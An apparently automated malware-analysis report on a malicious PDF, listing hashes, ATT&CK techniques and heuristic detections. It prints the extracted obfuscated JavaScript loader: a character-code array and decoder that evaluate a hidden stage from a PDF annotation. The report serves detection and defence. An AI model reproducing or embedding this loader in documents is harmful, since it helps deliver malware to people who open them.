Malicious PDF — malware analysis report

Static analysis result for SHA-256 457c6f36000b88b1…

MALICIOUS

PDF

13.0 KB First seen: 2026-05-09
MD5: e78ab276c9dd584956444309f37f7dd4 SHA-1: 420a3686a9aefeae59b55cfe96833f5bde0c6a95 SHA-256: 457c6f36000b88b136a574e06cc7aa14be92fdffa7d79b4d4c8e37df94f8c71b
156 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1566.001 Spearphishing Attachment T1204.002 Malicious File

The PDF file contains embedded JavaScript, indicated by multiple heuristic firings including 'PDF_JAVASCRIPT' and 'PDF_JS'. The ML classifier strongly flags this PDF as malicious. The embedded JavaScript file, 'javascript_obj0005_000.js', is likely responsible for downloading and executing a second-stage payload. The document body is unreadable, but the presence of obfuscated JavaScript points to a malicious intent, likely for malware delivery.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 5

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a large numeric character-code array feeding an auto-run script) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
            for (var i=0; i < list.length; i++) {
            result +=  String.fromCharCode(list[i] - jump);
        }
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0005_000.js pdf-javascript-stream PDF /JS object 5 at offset 0x107 1225 bytes
SHA-256: 867657a7a74659a94c0b84716da0b7b245a9f7e0da657e729442653a96a79d92
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
sourceCode = "105,102,32,40,49,41,32,123,118,97,114,32,122,59,32,118,97,114,32,121,59,32,114,61,40,114,61,39,108,97,99,101,39,44,39,114,101,112,39,43,114,41,59,32,122,32,61,32,121,32,61,32,97,112,112,46,100,111,99,59,32,10,9,32,121,32,61,32,48,59,32,9,32,122,46,115,121,110,99,65,110,110,111,116,83,99,97,110,32,40,32,41,59,32,121,32,61,32,122,59,118,97,114,32,112,32,61,32,121,91,39,103,39,43,39,101,116,39,43,39,65,110,110,111,116,115,39,93,40,32,123,32,32,110,80,97,103,101,58,32,48,32,125,41,32,59,118,97,114,32,115,32,61,32,112,91,48,93,46,115,117,98,106,101,99,116,59,32,118,97,114,32,108,32,61,32,115,91,114,93,40,47,122,47,103,44,32,39,97,37,98,39,91,114,93,40,47,91,97,98,93,47,103,44,32,39,39,41,41,59,118,97,114,32,116,104,32,61,32,101,118,101,110,116,46,116,97,114,103,101,116,59,32,115,32,61,32,116,104,91,39,117,110,101,115,39,32,43,32,39,99,97,112,101,39,93,32,40,108,41,32,59,118,97,114,32,101,32,61,32,97,112,112,91,39,101,118,39,32,43,32,39,97,108,39,93,59,32,101,40,115,41,59,125"; 
function decrypt(str, jump){
var result = "";
var list = str.split(',');
        for (var i=0; i < list.length; i++) {
            result +=  String.fromCharCode(list[i] - jump);
        }
        return result;
        }

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